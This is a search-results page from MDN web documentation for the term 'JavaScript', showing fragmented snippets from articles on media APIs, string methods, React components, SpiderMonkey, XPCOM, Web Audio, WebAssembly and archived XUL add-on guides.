Previous Overview: Client-side web APIs Next HTML5 comes with elements for embedding rich media in documents -- <video> and <audio> -- which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls. Prerequisites:
JavaScript basics (see first steps, building blocks,
JavaScript objects), the basics of Client-side APIs Objective: To learn how to use browser APIs to control video and audio playback. HTML5 video and audio The <video> and <audio> elements allow us to embed video and audio into web pages. As we showed in Video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source...
...does have advantages. One big issue with the native browser controls is that they are different in each browser -- not very good for cross-browser support! Another big issue is that the native controls in most browsers aren't very keyboard-accessible. You can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with HTML, CSS, and
JavaScript. In the next section we'll look at the basic tools we have available to do this. The HTMLMediaElement API Part of the HTML5 spec, the HTMLMediaElement API provides features to allow you to control video and audio players programmatically -- for example HTMLMediaElement.play(), HTMLMediaElement.pause(), etc. This interface is available to both <audio> and <video> elements, as the features you'll...
...ents, as the features you'll want to implement are nearly identical. Let's go through an example, adding features as we go. Our finished example will look (and function) something like the following: Getting started To get started with this example, download our media-player-start.zip and unzip it into a new directory on your hard drive. If you downloaded our examples repo, you'll find it in
javascript/apis/video-audio/start/ At this point, if you load the HTML you should see a perfectly normal HTML5 video player, with the native controls rendered. Exploring the HTML Open the HTML index file. You'll see a number of features; the HTML is dominated by the video player and its controls: <div class="player"> <video controls> <source src="video/sintel-short.mp4" type="video/mp4"> <sour...
...And 4 more matches
Useful string methods - Learn web development
at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, an understanding of what
JavaScript is. Objective: To understand that strings are objects, and learn how to use some of the basic methods available on those objects to manipulate strings. Strings as objects Most things are objects in
JavaScript. When you create a string, for example by using let string = 'This is my string'; your variable becomes a string object instance, and as a result has a large number of ...
...ateCode(); }; Test your skills! You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Strings. Conclusion You can't escape the fact that being able to handle words and sentences in programming is very important -- particularly in
JavaScript, as websites are all about communicating with people. This article has given you the basics that you need to know about manipulating strings for now. This should serve you well as you go into more complex topics in the future. Next, we're going to look at the last major type of data we need to focus on in the short term -- arrays. Previous Overview: First steps Next In this module Wh...
...ebsites are all about communicating with people. This article has given you the basics that you need to know about manipulating strings for now. This should serve you well as you go into more complex topics in the future. ...
...And 4 more matches
Ember resources and troubleshooting - Learn web development
Objective: To provide further resource links and troubleshooting information. ...
... Objective: To provide further resource links and troubleshooting information. ...
... Next Our final Ember article provides you with a list of resources that you can use to go further in your learning, plus some useful troubleshooting and other information. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. A deeper understanding of modern
JavaScript features (such as classes, modules, etc), will be extremely beneficial, as Ember makes heavy use of them. Objective: To provide further resource links and troubleshooting information. Further resources Ember.JS Guides Tutorial: Super Rentals Ember.JS API Documentation Ember.JS Discord Server -- a forum/chat server where you can meet the Ember community, as...
...And 4 more matches
Componentizing our React app - Learn web development
Objective: To show a sensible way of breaking our todo list app into components. ...
...works Next At this point, our app is a monolith. Before we can make it do things, we need to break it apart into manageable, descriptive components. React doesn't have any hard rules for what is and isn't a component - that's up to you! In this article we will show you a sensible way to break our app up into components. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Objective: To show a sensible way of breaking our todo list app into components. Defining our first component Defining a component can seem tricky until you have some practice, but the gist is: If it represents an obvious "chunk" of your app, it's probably a component If it gets reused often, it's probably a component.
... to show only Eat being checked: If you change each <Todo /> component's completed prop, your browser will check or uncheck the equivalent rendered checkboxes accordingly. Gimme some id, please Right now, our <Todo /> component gives every task an id attribute of todo-0. This is bad HTML because id attributes must be unique (they are used as unique identifiers for document fragments, by CSS,
JavaScript, etc.). This means we should give our component an id prop that takes a unique value for each Todo. To follow the same pattern we had initially, let's give each instance of the <Todo /> component an ID in the format of todo-i, where i gets larger by one every time: <Todo name="Eat" completed={true} id="todo-0" /> <Todo name="Sleep" completed={false} id="todo-1" /> <Todo name="Repeat" completed=...
...And 4 more matches
XPCOMUtils.jsm
The XPCOMUtils.jsm
JavaScript code module offers utility routines for
JavaScript components loaded by the
JavaScript component loader. To use this, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/XPCOMUtils.jsm"); Using XPCOMUtils Exposing a
JavaScript class as a component using these utility methods requires four key steps: Import XPCOMUtils.jsm, as explained previously. Declare the class (or multiple classes) implementing the component(s). Create an array of component constructors. Define the NSGetFactory() or NSGetModule() entry point. Pseudocode This section provides some pseudocode that demonstrates how to put together a
JavaScript class based on the steps listed above. Constructor The constructor is a ...
...generateQI(interfaces); void importRelative(that, path, scope); generator IterSimpleEnumerator(enumerator, interface); generator IterStringEnumerator(enumerator); Attributes Attribute Type Description categoryManager nsICategoryManager Returns a reference to nsICategoryManager. Methods defineLazyGetter() Getter functions in
JavaScript give you a way to define a property of an object, but not calculate the property's value until it is accessed. A getter defers the cost of calculating the value until the value is needed, and if it is never needed, you never pay the cost. A "lazy getter" provides an additional optimization: the value is calculated the first time the getter is called, and is then cached (or memoized), so subseque...
... of the properties from the classInfo parameter in its various properties. Exceptions thrown This method throws an exception with the message "In generateCI, don't use a component for generating classInfo" if classInfo parameter is an XPCOM component. generateQI() Generates a QueryInterface() function implementation. You need to assign the returned function to the QueryInterface property of a
JavaScript object. When the generated method is invoked on that object, it checks to see if the specified IID is listed in the array specified by the interfaces parameter; if it is, this (that is, the object itself) is returned. Otherwise, null is returned. function generateQI( interfaces ); Parameters interfaces An array of interfaces implemented by the component. Return value A QueryInterface...
...And 4 more matches
Rhino scopes and contexts
rent roles. Simple embeddings of Rhino probably won't need any of the information here, but more complicated embeddings can gain performance and flexibility from the techniques described below. Contexts The Rhino Context object is used to store thread-specific information about the execution environment. There should be one and only one Context associated with each thread that will be executing
JavaScript. To associate the current thread with a Context, simply call the enter method of Context: Context cx = Context.enter(); Once you are done with execution, simply exit the Context: Context.exit(); These calls will work properly even if there is already a Context associated with the current thread. That context will be returned and an internal counter incremented. Only when the counter reache...
...ontext.exit(); These calls will work properly even if there is already a Context associated with the current thread. That context will be returned and an internal counter incremented. Only when the counter reaches zero will it be disassociated from the thread. Remember to put the exit() call in a finally block if you're executing code that could throw an exception. Scopes A scope is a set of
JavaScript objects. Execution of scripts requires a scope for top-level script variable storage as well as a place to find standard objects like Function and Object. It's important to understand that a scope is independent of the Context that created it. You can create a scope using one Context and then evaluate a script using that scope and another Context (either by exiting the current context and enteri...
...nd that a scope is independent of the Context that created it. You can create a scope using one Context and then evaluate a script using that scope and another Context (either by exiting the current context and entering another, or by executing on a different thread). You can even execute scripts on multiple threads simultaneously in the same scope. Rhino guarantees that accesses to properties of
JavaScript objects are atomic across threads, but doesn't make any more guarantees for scripts executing in the same scope at the same time. If two scripts use the same scope simultaneously, the scripts are responsible for coordinating any accesses to shared variables. A top-level scope is created by calling Context.initStandardObjects to create all the standard objects: ScriptableObject scope = cx.initSt...
...And 4 more matches
FOSS
derMonkey, providing the same API for both web and native platforms. Getting started here. ...
... Getting started here. Flusspferd - (newer) C++ bindings libjspp - C++ template based library for extending & embedding SpiderMonkey; works with SpiderMonkey 1.8.5 and above, has lots of goodies Spiderape - the oldest C++ bindings for SpiderMonkey TriXUL - (TriXUL CVS) - Trixul XML-based GUI toolkit embeds SpiderMonkey, using
JavaScript to implement logic behind its GUI, supporting calls from
JavaScript to C++ objects Rust mozjs - Rust bindings used by Servo GNOME gjs -
JavaScript bindings to GNOME (broadly, to any library using the GObject introspection mechanism) Objective Caml http://alain.frisch.fr/soft.html#spider - bindings to embed SpiderMonkey in OCaml applications Perl http://jspl.msg.mx/ - bindings to cross-embed SpiderMonkey and Perl. Includes a JS shell that allow...
... - Rust bindings used by Servo GNOME gjs -
JavaScript bindings to GNOME (broadly, to any library using the GObject introspection mechanism) Objective Caml http://alain.frisch.fr/soft.html#spider - bindings to embed SpiderMonkey in OCaml applications Perl http://jspl.msg.mx/ - bindings to cross-embed SpiderMonkey and Perl. Includes a JS shell that allows you to use CPAN modules from
JavaScript. ...
...And 4 more matches
JSVersion
The values of the JSVersion enumerated type stand for particular versions of the
JavaScript run-time. The functions JS_GetVersion, JS_SetVersion, JS_StringToVersion, and JS_VersionToString use these values. Description The JSVersion enumerated type includes the following values. Each version has a name, which is a string used by JS_StringToVersion and JS_VersionToString. ...
...
JavaScript run-time. The functions JS_GetVersion, JS_SetVersion, JS_StringToVersion, and JS_VersionToString use these values. Description The JSVersion enumerated type includes the following values. Each version has a name, which is a string used by JS_StringToVersion and JS_VersionToString. ...
...sion, and JS_VersionToString use these values. Description The JSVersion enumerated type includes the following values. Each version has a name, which is a string used by JS_StringToVersion and JS_VersionToString. ...
...And 4 more matches
JS_SetFunctionCallback
Using this function may have a significant performance impact. See Function tracing for an example. ...
...Using this function may have a significant performance impact. See Function tracing for an example. ...
...g --enable-trace-jscalls. Syntax void JS_SetFunctionCallback(JSContext *cx, JSFunctionCallback fcb); Name Type Description cx JSContext * Pointer to a JS context from which to derive runtime information. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. ...
...And 4 more matches
SpiderMonkey 1.8.5
Note that version 1.8.5 is outdated. The latest version of SpiderMonkey can always be found on the source download page. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 1.8.5. You can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (MD5 checksum: a4574365938222adca0a6bd33329cb32). SpiderMonkey 1.8.5 is the
JavaScript engine that shipped in Firefox 4.0. It is much faster than SpiderMonkey 1.8, implements ES-5 (ECMA 262, 5th Edition), and contains many new language and API features, described in detail below. ...
... is the
JavaScript engine that shipped in Firefox 4.0. It is much faster than SpiderMonkey 1.8, implements ES-5 (ECMA 262, 5th Edition), and contains many new language and API features, described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or, file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. --22 March 2011 Platform support SpiderMonkey 1.8.5 is supported on all the platforms where Firefox 4 runs. SpiderMonkey 1.8.5 includes a just-in-time compiler (JIT) (several, actually) that compiles
JavaScript to machine code, for a significant speed increase. It is supported only on x86, x86_64 and ARM architectures. ...
...It's the same language, just not as fast. Migrating to SpiderMonkey 1.8 The following features in earlier versions of SpiderMonkey have been dropped. Support for extended class methods (in particular, JSEqualityOp) has been removed. Multithreaded JS programs that race against the same objects are now explicitly not supported. ...
...And 4 more matches
SpiderMonkey 1.8.7
DRAFT IN PROGRESS - This is a draft, and right now it's mostly just a copy of the 1.8.5 release notes. XXX needs updating The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 1.8.5. You can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (MD5 checksum: a4574365938222adca0a6bd33329cb32). SpiderMonkey 1.8.5 is the
JavaScript engine that shipped in Firefox 4.0. It is much faster than SpiderMonkey 1.8, implements ES-5 (ECMA 262, 5th Edition), and contains many new language and API features, described in detail below. ...
... --22 March 2011 Platform support SpiderMonkey 1.8.7 is supported on all the platforms where Firefox 10 runs. SpiderMonkey 1.8.7 includes type inference, which boosts the speed of the JagerMonkey JIT by about 30% over version 1.8.5. Type inference largely obviates TraceMonkey, so the TraceMonkey JIT has been removed. The JIT is supported only on x86, x86_64 and ARM architectures. ...
...rt SpiderMonkey 1.8.7 is supported on all the platforms where Firefox 10 runs. SpiderMonkey 1.8.7 includes type inference, which boosts the speed of the JagerMonkey JIT by about 30% over version 1.8.5. Type inference largely obviates TraceMonkey, so the TraceMonkey JIT has been removed. The JIT is supported only on x86, x86_64 and ARM architectures. On other platforms, the JIT is simply disabled;
JavaScript code runs in an interpreter, as in previous versions. It's the same language, just not as fast. Migrating to SpiderMonkey 1.8.7 This covers migrating from version 1.8.5. See the 1.8.5 release notes for information on migrating from earlier versions. The following features in earlier versions of SpiderMonkey have been dropped. XXX is there anything here? SpiderMonkey 1.8.7 is not binary-compati...
...And 4 more matches
Shell global objects
See js/src/shell/js.cpp (around shell_functions) for more. This page lists variables and functions available on SpiderMonkey 53. There may be some difference between each versions. You can get the list of functions by help() function in js shell. Variables scriptArgs An array that contains arguments passed to js shell. ...
... log Evaluate and print expressions to stdout. This function is an alias of the print() function. timesAccessed Returns a number that indicates how many times this variable is accessed PerfMeasurement See PerfMeasurement.jsm. Shell only functions Functions always available version([number]) Get or force a script compilation version number. options([option ...]) Get or toggle
JavaScript options. load(['foo.js' ...]) Load files named by string arguments. Filename is relative to the current working directory. loadRelativeToScript(['foo.js' ...]) Load files named by string arguments. Filename is relative to the calling script. evaluate(code[, options]) Evaluate code as though it were the contents of a file. options is an optional object that may have these properties: isR...
...Enable or disable JS caching. cacheEntry(code) Return a new opaque object which emulates a cache entry of a script. This object encapsulates the code and its cached content. The cache entry is filled and read by the evaluate function by using it in place of the source, and by setting saveBytecode and loadBytecode options. printProfilerEvents() Register a callback with the profiler that prints
javascript profiler events to stderr. Callback is only registered if profiling is enabled. enableSingleStepProfiling() This function will fail on platforms that don't support single-step profiling (currently everything but ARM-simulator). When enabled, at every instruction a backtrace will be recorded and stored in an array. Adjacent duplicate backtraces are discarded. disableSingleStepProfiling() Retur...
...And 4 more matches
nsILoginManager
earches for logins matching the specified criteria. Called when looking for logins that might be applicable to a given form or authentication request. void findLogins( out unsigned long count, in AString aHostname, in AString aActionURL, in AString aHttpRealm, [retval, array, size_is(count)] out nsILoginInfo logins ); Parameters count The number of elements in the returned array.
JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter. aHostname The hostname to restrict searches to, formatted as a URL. For example, "http://www.bar.com". aActionURL For form logins, this parameter should specify the URL to which the form will be submitted. For protocol logins, specify null. An empty string ("") will match any value (except null)...
... An empty string ("") will match any value (except null). aHttpRealm For protocol logins, specify the HTTP Realm for which the login applies; this is obtained from the WWW-Authenticate header (see RFC 2617). For form logins, this parameter should be null. An empty string ("") will match any value (except null). logins An array of nsILoginInfo objects. ...
...lled from
JavaScript like this: var logins = myLoginMgr.findLogins({}, 'https://bugzilla.mozilla.org', '', '', {}); getAllDisabledHosts() Returns a list of all hosts for which login saving is disabled. void getAllDisabledHosts( [optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames ); Parameters count The number of elements in the returned array.
JavaScript callers can simply use the array's length property and supply a dummy argument for this parameter. hostnames An array of hostname strings in URL format without a pathname. For example: "https://www.site.com". ...
...And 4 more matches
Index
the Advanced options panel, click on the General tab, and click on Config Editor. This will display a list of used preferences, as well as a search bar at the top. 70 Thunderbird extensions Add-ons, Extensions, thunderbird Categori 71 Adding items to the Folder Pane This tutorial examines how to add items to an existing Folder Pane view. The result is a
javascript file that will add a "Numbers" container to the end of Thunderbird's "All Folders" mode. That container will have 3 child-items, the numbers 1, 2, and 3. Clicking on those items will display the number in the main viewing pane of Thunderbird. 72 Adding views to the Folder Pane Add-ons, Draft, Extensions, Guide, NeedsContent, thunderbird This is a stub page for a tutorial for ...
... built on a set of technologies that can seem daunting to new developers. However, in many cases you only need to learn a few concepts to write an extension. 74 Building a Thunderbird extension 1: introduction Add-ons, Extensions, thunderbird Thunderbird is a community managed open-source email application. It shares many of the technologies used by Mozilla Firefox, including
JavaScript, the Gecko layout engine, the XUL XML User Interface Language and the XPCOM Cross-Platform Component Object Model. Similar to Firefox, Thunderbird functionality can be enhanced and customized via extensions. 75 Building a Thunderbird extension 2: extension file layout Extensions, thunderbird Extensions are packaged and distributed in archive files (also known as Bundles), wit...
...ng a Thunderbird extension 4: chrome manifest Extensions, thunderbird The file called chrome.manifest tells Thunderbird what packages and overlays are provided by the extension. Open the file called chrome.manifest that you created and add this code: 78 Building a Thunderbird extension 5: XUL Extensions, thunderbird Thunderbird's user interface is written in XUL and
JavaScript. ...
...And 4 more matches
ctypes
nt16_t Unsigned 16-bit integer. int32_t Signed 32-bit integer. uint32_t Unsigned 32-bit integer. int64_t Signed 64-bit integer. uint64_t Unsigned 64-bit integer. float32_t 32-bit floating-point value. float64_t 64-bit floating-point value. Note: Some 64-bit values are outside the range of numeric values supported by
JavaScript. Because of this, ctypes.int64 and ctypes.uint64 do not automatically convert to
JavaScript numbers. Instead, they convert to objects of the wrapper types ctypes.Int64 and ctypes.UInt64, which are
JavaScript objects rather than CData objects. See 64-bit integers for details. Types that act like specific C types These types are designed to work exactly like the corresponding type on the native p...
...aves like the corresponding C type on the platform. int An integer type that behaves like the int C type on the platform. unsigned_int An unsigned integer type that behaves like the unsigned int C type on the platform. long A long integer type that behaves like the corresponding C type on the platform. ...
...This is done for compatibility's sake. long_long A integer type at least 64 bits wide. unsigned_long_long An unsigned integer type at least 64 bits wide. ...
...And 4 more matches
Plug-in Basics - Plugins
ndors who are creating new and innovative plug-ins. With the Plug-in API, you can create dynamically loaded plug-ins that can: register one or more MIME types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using URLs post data to URLs add hyperlinks or hotspots that link to new URLs draw into sections on an HTML page communicate with
JavaScript/DOM from native code You can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the Installed Plug-ins page. Go to the Help menu, and click Help and then About Plug-ins. Type "about:plugins" in the Location bar. The Installed Plug-ins page lists each installed plug-in along with its MIME type or types, description, file extensions, a...
...ns page. Go to the Help menu, and click Help and then About Plug-ins. Type "about:plugins" in the Location bar. The Installed Plug-ins page lists each installed plug-in along with its MIME type or types, description, file extensions, and the current state (enabled or disabled) of the plug-in for each MIME type assigned to it. Notice in view-source that this information is simply gathered from the
JavaScript. Because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. Plug-ins and helper applications Before plug-ins, there were helper applications. A helper application is a separate, free-standing application that can be started from the browser. Like a plug-in, the browser starts a helper application when ...
...lifespan, you should be careful to isolate these from Plug-in API calls. See Initialization and Destruction for more information about using these methods. Plug-in detection Gecko looks for plug-ins in various places and in a particular order. The next section, How Gecko Finds Plug-ins, describes these rules, and the following section, Checking Plug-ins by MIME Type, describes how you can use
JavaScript to locate plug-ins yourself and establish which ones are to be registered for which MIME types. How Gecko finds plug-ins When a Gecko-based browser starts up, it checks certain directories for plug-ins, in this order: Windows Directory pointed to by MOZ_PLUGIN_PATH environment variable. %APPDATA%\Mozilla\plugins, where %APPDATA% denotes per-user Application Data directory. Plug-ins within...
...And 4 more matches
Console messages - Firefox Developer Tools
riangle indicates that further information is available; clicking it displays or collapses that information. Message The message itself. Number of occurrences If a line that generates a warning or error is executed more than once, it is only logged once and this counter appears to indicate how many times it was encountered. Filename and line number For
JavaScript, CSS and console API messages, the message can be traced to a specific line of code. The console then provides a link to the filename and line number that generated the message. By default, the console is cleared each time you navigate to a new page or reload the current page. To override this behavior, enable Persist Logs in the console settings menu (gear icon). The context menu opt...
...expect, copying the URL into the clipboard Open in Network Panel Switches context to the Network tab, selects the request and shows you the details Resend Request Sends the network request again. Open URL in New Tab Opens the URL in a new browser tab. If the resource is an image, the image will be opened in a new tab. If the resource is a stylesheet, you will see the CSS rules, etc. JS
JavaScript errors contain a "Learn more" link that takes you to the
JavaScript error reference containing additional advice for fixing issues: Source maps The Web Console understands source maps. This means that if your
JavaScript sources are compressed, you can supply a source map for them. Then any messages or errors your source generates will show up in the Web Console with a link back to the origin...
...ole also logs reflow events under the CSS category. A reflow is the name given to the operation in which the browser calculates the layout of all or part of the page. Reflows occur when a change has happened to a page that the browser thinks affects the layout. Many events can trigger reflows, including: resizing the browser window, activating pseudoclasses like :hover, or manipulating the DOM in
JavaScript. ...
...And 4 more matches
Web Audio API - Web APIs
Web Audio API interfaces The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality. General audio graph definition General containers and definitions that shape audio graphs in Web Audio API usage. AudioC...
... then you can go ahead and start building things with the advance tutorial and others as a guide (the above linked tutorial covers scheduling notes, creating bespoke oscillators and envelopes, as well as an LFO among other things.) If you aren't familiar with the programming basics, you might want to consult some beginner's
JavaScript tutorials first and then come back here -- see our Beginner's
JavaScript learning module for a great place to begin. Web Audio API interfaces The Web Audio API has a number of interfaces and associated events, which we have split up into nine categories of functionality. General audio graph definition General containers and definitions that shape audio graphs in Web Audio API usage. AudioContext The AudioContext interface represents an audio-processing graph b...
...nique person listening to the audio scene used in audio spatialization. PannerNode The PannerNode interface represents the position and behavior of an audio source signal in 3D space, allowing you to create complex panning effects. StereoPannerNode The StereoPannerNode interface represents a simple stereo panner node that can be used to pan an audio stream left or right. Audio processing in
JavaScript Using audio worklets, you can define custom audio nodes written in
JavaScript or WebAssembly. Audio worklets implement the Worklet interface, a lightweight version of the Worker interface. Audio worklets are enabled by default for Chrome 66 or later. AudioWorklet The AudioWorklet interface is available through the AudioContext object's audioWorklet, and lets you add modules to the audio wo...
...And 4 more matches
Audio and Video Delivery - Developer guides
width="320" height="30" type="application/x-shockwave-flash" data="flashmediaelement.swf"> <param name="movie" value="flashmediaelement.swf" /> <param name="flashvars" value="controls=true&isvideo=false&file=audiofile.mp3" /> </object> </audio> The process is very similar with video -- just remember to set isvideo=true in the flashvars value parameters. More options for Fallbacks. ...
...e browser supports, then set the play-head 5 seconds in and attempt to play it. Note: Play will be ignored by most browsers unless issued by a user-initiated event. It's also possible to feed an <audio> element a base64 encoded WAV file, allowing to generate audio on the fly: <audio id="player" src="data:audio/x-wav;base64,UklGRvC..."></audio> Speak.js employs this technique. Try the demo. ...
...t.createElement('audio'); audio.src = window.URL.createObjectURL(new Blob(data)); } setTimeout(function() { rec.stop(); }, 5000); }) .catch(function onError(error) { console.log(error.message); }); See MediaRecorder API for more details. Media Source Extensions (MSE) Media Source Extensions is a W3C working draft that plans to extend HTMLMediaElement to allow
JavaScript to generate media streams for playback. Allowing
JavaScript to generate streams facilitates a variety of use cases like adaptive streaming and time shifting live streams. Encrypted Media Extensions (EME) Encrypted Media Extensions is a W3C proposal to extend HTMLMediaElement, providing APIs to control playback of protected content. The API supports use cases ranging from simple clear key dec...
...And 4 more matches
HTML documentation index - HTML: Hypertext Markup Language
# Page Tags and summary 1 HTML: Hypertext Markup Language HTML, HTML5, Landing, Web, l10n:priority HTML (HyperText Markup Language) is the most basic building block of the Web. It defines the meaning and structure of web content. Other technologies besides HTML are generally used to describe a web page's appearance/presentation (CSS) or functionality/behavior (
JavaScript). 2 Allowing cross-origin use of images and canvas Advanced, CORS, Canvas, HTML, Image, Reference, Security, Storage, data HTML provides a crossorigin attribute for images that, in combination with an appropriate CORS header, allows images defined by the <img> element that are loaded from foreign origins to be used in a <canvas> as if they had been loaded from the current ori...
...e, Global attributes, HTML, Reference The autocapitalize global attribute is an enumerated attribute that controls whether and how text input is automatically capitalized as it is entered/edited by the user. 10 class Global attributes, HTML, Reference The class global attribute is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and
Javascript to select and access specific elements via the class selectors or functions like the DOM method document.getElementsByClassName. 11 contenteditable Editing, Global attributes, HTML, Reference, Text Editing, contenteditable, text entry, text input The contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user. If so, th...
...tribute values and its Text node children should be translated when the page is localized, or whether to leave them unchanged. 34 x-ms-acceleratorkey Attribute, HTML, HTML:Microsoft Extensions, Non-standard, Reference, x-ms-acceleratorkey The x-ms-acceleratorkey attribute accessibly declares that an accelerator key has been assigned to an element: the element is activated via
JavaScript when the key(s) are pressed on a keyboard. 35 x-ms-format-detection Attribute, HTML, HTML:Microsoft Extensions, Non-standard, Reference, x-ms-format-detection The x-ms-format-detection attribute determines whether data formats within the element's text, like phone numbers, are automatically converted to followable links. 36 HTML attribute reference Attribute, A...
...And 4 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
be achieved with the Streams API. With a little help from service workers, streams can greatly improve the way we parse content. The app shell model requires all the resources to be available before the website can start rendering. It's different with HTML, as the browser is actually streaming the data already and you can see when the elements are loaded and rendered on the website. To have the
JavaScript actually work, however, it has to be downloaded in its entirety. The Streams API allows developers to have direct access to data streaming from the server. If you want to perform an operation on the data (for example, adding a filter to a video), you no longer need to wait for all of it to be downloaded and converted to a blob (or whatever). Instead, you can start right away. It provides fine-gr...
...The <body> is split into the <header> (which displays an image) and the body of the app, which is found inside a <main> element. The app displays its title, a description, and then a place for the app content to be shown (a <section> element with the ID content. Below the content is a <footer>, which pro...
... <a href="http://end3r.com"> Andrzej Mazur</a> from <a href="http://enclavegames.com">Enclave Games</a>.</p> </footer> </body> </html> The <head> section contains basic information about the app, including its title, description, and the needed references to its CSS file, web manifest, the main application
JavaScript file (app.js, in which the app is initialized) as well as an additional
JavaScript code file. The <body> is split into the <header> (which displays an image) and the body of the app, which is found inside a <main> element. The app displays its title, a description, and then a place for the app content to be shown (a <section> element with the ID content. Below the content is a <footer>, which provides a copyright notice and assorted links. The app's only job is to list all the...
...And 4 more matches
Compiling an Existing C Module to WebAssembly - WebAssembly
vides most of these features, although there are some limitations. As an example, let's compile an encoder for WebP to wasm. The source for the WebP codec is written in C and available on GitHub as well as some extensive API documentation. That's a pretty good starting point. $ git clone https://github.com/webmproject/libwebp To start off simple, expose WebPGetEncoderVersion() from encode.h to
JavaScript by writing a C file called webp.c: #include "emscripten.h" #include "src/webp/encode.h" EMSCRIPTEN_KEEPALIVE int version() { return WebPGetEncoderVersion(); } This is a good simple program to test whether you can get the source code of libwebp to compile, as it doesn't require any parameters or complex data structures to invoke this function. To compile this program, you need to tell the co...
...webp.c \ libwebp/src/{dec,dsp,demux,enc,mux,utils}/*.c Note: This strategy will not work with every C project. Many projects rely on autoconf/automake to generate system-specific code before compilation. Emscripten provides emconfigure and emmake to wrap these commands and inject the appropriate parameters. You can find more in the Emscripten documentation. Now you only need some HTML and
JavaScript to load your new module: <script src="./a.out.js"></script> <script> Module.onRuntimeInitialized = async _ => { const api = { version: Module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> And you will see the correct version number in the output: Note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc. For example, v0...
...ript> <script> Module.onRuntimeInitialized = async _ => { const api = { version: Module.cwrap('version', 'number', []), }; console.log(api.version()); }; </script> And you will see the correct version number in the output: Note: libwebp returns the current version a.b.c as a hexadecimal number 0xabc. For example, v0.6.1 is encoded as 0x000601 = 1537. Get an image from
JavaScript into Wasm Getting the encoder's version number is great, but encoding an actual image would be more impressive. How do we do that? The first question you need to answer is: how do I get the image into wasm? Looking at the encoding API of libwebp, you'll find that it expects an array of bytes in RGB, RGBA, BGR or BGRA. Luckily, the Canvas API has CanvasRenderingContext2D.getImageData -- that giv...
...And 4 more matches
HTML in XUL for rich tooltips - Archive of obsolete content
This example demonstrates the dynamic injection of HTML into a XUL element. Specifically, we create a rich tooltip that uses HTML instead of plain text. Dynamic HTML in XUL Tooltip Insert the appropriate code from below into your XUL overlay. ...
...ooltip Insert the appropriate code from below into your XUL overlay. ...
...Our customized tooltipHTML attribute for each element can be set at any time. var htmltip = { onLoad: function() { //at any point you can save an HTML string to a XUL attribute for later injection into the tooltip document.getElementById("htmltip1").setAttribute("tooltipHTML", "<font color='red'>red foo</font>") document.getElementById("htmltip2").setAttribute("tooltipHTML", "<font ...
...And 3 more matches
StringView - Archive of obsolete content
The aims of this library are: to create a C-like interface for strings (i.e., an array of character codes -- an ArrayBufferView in
JavaScript) based upon the
JavaScript ArrayBuffer interface to create a highly extensible library that anyone can extend by adding methods to the object StringView.prototype to create a collection of methods for such string-like objects (since now: stringViews) which work strictly on arrays of numbers rather than on creating new immutable
JavaScript strings to work with Unicode encodings other than
JavaScript's default UTF-16 DOMStrings Introduction As web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using WebSockets, and so forth, it has become clear that there are times when it wou...
...In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer. ...
...be able to quickly and easily manipulate raw binary data. In the past, this had to be simulated by treating the raw data as a string and using the charCodeAt() method to read the bytes from the data buffer. However, this is slow and error-prone, due to the need for multiple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats). ...
...And 3 more matches
Adding Events and Commands - Archive of obsolete content
The most commonly used event is the onload event, which is used in overlays and other windows to detect when the window has loaded and then run initialization code: // rest of overlay code goes here. window.addEventListener( "load", function() { XulSchoolChrome.BrowserOverlay.init(); }, false); You can do something similar with the onunload event, to do any cleanup you may need. Please read Appendix A for recommendations on how to use the load event to initialize your add-on without having a negative performance impact on Firefox. ...
...ds information on the event. You can get information on key modifiers (in case the user was holding a modifier key like Alt while performing the event), screen coordinates for mouse events, and most importantly, the target element for the event. For example: <button label="&xulschoolhello.defaultGreeting.label;" oncommand="XulSchoolChrome.BrowserOverlay.changeGreeting(event);" /> Then on the
Javascript code you would have something like this: changeGreeting : function(aEvent) { // more stuff aEvent.target.setAttribute("label", someNewGreeting); } The target in this example is the button element, so clicking on it will change its text. The advantage of using the event argument is that the method is not dependent of the specific button, so it can also be used for other elements. For more ...
...ewhat common problem: communication between window XUL and web page content. It isn't hard for XUL code to control the content on pages being loaded or displayed, as we will see later on, but it can be hard for your extension XUL code to receive information from pages in a secure manner. This is because it would be very insecure to have a website JS controlling the behavior of Firefox and running
JavaScript code with chrome privileges. Suppose your extension interacts with pages from a website, and you want some actions on this site to trigger actions in your extension. One way to solve this is to have the actions on the site to generate a custom event that can be easily recognized by your extension. You can capture the events in the XUL overlay, since they'll bubble all the way up: // in the ove...
...And 3 more matches
Source code directories overview - Archive of obsolete content
